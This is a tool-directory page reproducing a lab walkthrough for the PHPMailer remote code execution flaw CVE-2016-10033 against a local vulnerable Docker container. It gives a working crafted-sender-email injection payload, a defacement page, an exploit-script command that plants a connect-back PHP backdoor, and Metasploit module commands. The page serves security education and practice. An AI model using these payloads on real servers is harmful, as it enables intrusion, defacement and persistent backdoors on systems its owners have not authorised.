Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2016-10033 — Proof Of Concept for the CVE-2016-10033 (PHPMailer) | Kitploit
Tools/GitHubGitHub/astrowmist/poc-cve-2016-10033
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Proof Of Concept for the CVE-2016-10033 (PHPMailer)

View Repository
62 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

POC-CVE-2016-10033

First let’s get the Vulnerable application up and running

Step 1: Run the following command to retrieve the vulnerable Docker Image from the Docker repository.

Command: docker pull vulnerables/cve-2016-10033

alt text

Step 2: Running the Docker image in Docker Desktop, exposing port 8080.

alt text

You can now access the vulnerable website at localhost:8080 in the web browser.

alt text

Method 1 : via Webpage

Step 1: Fill in the form with the following inputs:

Name Input: OSEC (can be any string, this does not affect the exploit)
Crafted Sender Email: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

How this crafted sender email works is explained in depth under the description section of the attack vector. As for the specific parameters the second parameter -oQ/tmp specifies the queue directory and the third parameter, -X/www/pwn.html specifies the location of the log file to be written. If the queue directory is not specified the sendmail process would attempt to access the default mail queue directory (/var/spool/mqueue-client/)which would be protected to prevent unauthorized access and tampering, which is a common security measure. To avoid this permission issue, you should specify a queue directory where the user running the PHP script has write permissions. Commonly, a directory like /tmp is used because it is typically writable by all users. If the body of the email contains PHP code, and if the specified log file is placed in a web-accessible directory, the attacker can execute the PHP code by accessing the log file via a web browser, hence resulting in remote code execution.

Message Input: This is just an example html file that an attacker could upload. Of course, the attacker could upload something much worse like a backdoor which we will be doing in the next method of exploitation

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Step 2: After submitting the form browse to the html file that we just uploaded at http://localhost:8080/pwn.html

alt text

Method 2: via Command Line (Exploit script)

Requirements: This script is compatible with Python 2 only (it does not work with Python 3).

Step 1: Download the exploit script at https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Step 2: Then run the script with the following arguments:

Command: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> specifies the target url
-cf -> specifies the location of the contact form within the url specified in -url. (In our case it’s the exact same as -url so we just included a slash)
-ip -> specifies the attcakers ip for the backdoor to connect back to
-d -> specifies the relative directory to upload the backdoor php file
--post-action -> The name attribute of the hidden field
--post-msg -> The name attribute of the message input field

alt text Note: The reason why we have to specify --post-action to “submit” and --post-msg to “message” is because in the vulnerable application that we are using the name attribute is different from the default values used in the python exploit script

The name attributes in the vulnerable application:

alt text

The default name attributes specified in the script: alt text

Step 3: After we ran the command however we got an error shown below

alt text
In the above image you can see that the program is trying to access http://127.0.0.1:8080//www/phpbackdoor9284.php which is obviously incorrect because of //www. This will not work because in this vulnerable website /www is the website root, hence you can’t travel to http://127.0.0.1:8080/www since http://127.0.0.1:8080 is already at /www.

Also in the below image we can see that the exploit actually worked because the phpbackdoor9284.php has been created successfully in the directory. Hence the only issue was how to remove that //www from the url.
alt text

Upon further inspection of the python script, we managed to locate the BACKDOOR_URL variable which specifies the URL to the backdoor php file. In the variable we can see that a the target directory that we specified (args.TARGET_UP_DIR) is being concatenated together with the BACKDOOR_FILE variable. To solve the problem, we need to remove that and the additional slash.

Before:
alt text

After:
alt text

**Note that the script in this repo is already modified and ready to use

Step 4: Now run the previous command again, and this time the backdoor should have been successfully uploaded to the web root directory and should have connected back to my kali.

alt text

Method 3: Metasploit

Step 1: Type msfconsole on kali terminal to open Metasploit. Then search for Metasploit modules for CVE-2016-10033. Then choose the module by choosing the index associated with it. In the below screenshot we chose 1 which targets PHPMailer < 5.2.18.

Commands:
msfconsole
search CVE-2016-10033
use 1
alt text

Step 2: Set the required options for the exploit module such as the target’s IP address, port,target URL and web root.

Commands:
set RHOSTS 192.168.79.1 (specifies the target’s IP)
set RPORT 8080 (specifies the target’s port)
set TARGETURI /(specifies the web form’s URL)
set WEB_ROOT /www (specifies where the website root is located)

Download Tool